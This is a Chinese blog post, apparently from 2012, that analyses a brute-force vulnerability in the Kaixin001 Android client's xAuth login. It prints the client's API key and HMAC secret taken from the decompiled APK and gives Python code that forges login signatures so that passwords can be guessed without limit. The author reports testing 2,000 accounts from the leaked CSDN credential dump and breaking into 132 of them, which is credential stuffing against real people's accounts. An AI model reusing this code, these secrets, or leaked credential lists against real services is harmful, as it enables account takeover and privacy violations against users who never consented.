分析开心网android客户端暴力破解漏洞

2012年11月5日,我对开心网android客户端做了简单的安全测试,发现其存在暴力破解漏洞。

在测试android应用之前,我们需要安装 Android SDK

自己常用的几个抓包工具有:

1. winsock Expert    它非常小巧,但不能抓https

2. wireshark              让人叹服、强大的抓包分析工具,可用于逆向客户端协议,如QQ、迅雷

3. HttpWatch            可以抓https,推荐

4. MiniSniffer           小巧,但其无法智能地decode,常显示乱码

5. Chrome和FireFox的开发者工具    浏览器自带的开发者工具,对于分析web应用非常方便

前述到此。

 

自己胡乱输入账号,反复登录,发现并没有出现验证码或登录过于频繁的提示(说明可能存在暴力破解的问题)。

通过抓包分析,得到客户端登录时的POST请求为:

POST http://api.kaixin001.com/oauth/access_token

oauth_signature={HMAC-SHA1计算得到的签名}&x_auth_username={用户名}&x_auth_mode=client_auth&oauth_version=1.0&oauth_nonce={一个不重复的32位MD5}&oauth_signature_method=HMAC-SHA1&oauth_consumer_key={API Key}&ctype=15803AndroidClient&x_auth_password={明文密码}&oauth_timestamp={时间戳}

查看参数可以知道,计算签名才是最关键的工作。测试后又发现,签名是跟用户名相对应的。
只要用户名不变,对应的签名可一直反复使用,无论密码是什么。

利用这一点,攻击者已经可以暴力破解某个指定的帐号了。(如果他无法计算出签名,可以通过抓包来获取这个签名)

为了得到签名的计算方式,我尝试将这个apk文件反编译,得到了混淆过的java代码。

因为代码实在太乱,我自己平时也不写java程序,跟踪了几处后,还是放弃了。

但在这个过程中,我得到了两个Key:

public static String a = “87247717949570179fa41c43e20ed289”;

public static String b = “8207525c8aa35c89b29385057f5905c9”;

其中第一个为oauth_consumer_key,而第二个,是HMAC_SHA1计算使用的Key。

(才开始我只分析到第一个key是API Key,但对变量b的用途不清楚。)

在分析java源代码受挫后,我转向了 开心网的开放平台。

之前在java代码中存在的疑惑一一被解开。

特别是,我找到了一份“xAuth文档“,这也正是开心网android客户端所使用的认证方式!

http://wiki.open.kaixin001.com/index.php?id=xAuth%E6%96%87%E6%A1%A3

通过这个文档,我终于找到了一个可行的签名计算方法,参考python代码:

import sys 
import hmac, hashlib 
from urllib import urlencode, quote 

userName = sys.argv[1] 
passWord = sys.argv[2] 
oauth_nonce = sys.argv[3] 

base_string = 'POST&http://api.kaixin001.com/oauth/access_token' + \ 
'&oauth_consumer_key=87247717949570179fa41c43e20ed289' + \ 
'&oauth_nonce=' + oauth_nonce + \ 
'&oauth_signature_method=HMAC-SHA1' + \ 
'&oauth_timestamp=1351860016' + \ 
'&oauth_version=1.0&scope=user_rgroup&x_auth_mode=client_auth' + \ 
'&x_auth_password=' + passWord + '&x_auth_username=' + userName 

base_string = quote(base_string) 
h = hmac.new('8207525c8aa35c89b29385057f5905c9', base_string, hashlib.sha1) 
s = h.digest() 
signature = s.encode('base64').rstrip() 

因为此处时间戳没起作用,hard code即可。

运行时候,传入三个参数,分别是用户名、密码、随机MD5(参数oauth_nonce)

即可得到对应的signature值,使用它,就可以进行登录测试了!

 

最后,使用泄露的CSDN 600万帐号进行测试,测试2000个帐号,成功破解出132个。
kaixin001-android-client-bugs

《分析开心网android客户端暴力破解漏洞》上有5条评论

    1. 以前用windows VPS,主要是想跑一些自己写的小程序。现在打算把那些小程序用python重写一下,所以又换回了ubuntu。等你什么时候有空,我们可以一起做些有意思的东西。

回复 天一 取消回复

您的电子邮箱地址不会被公开。 必填项已用*标注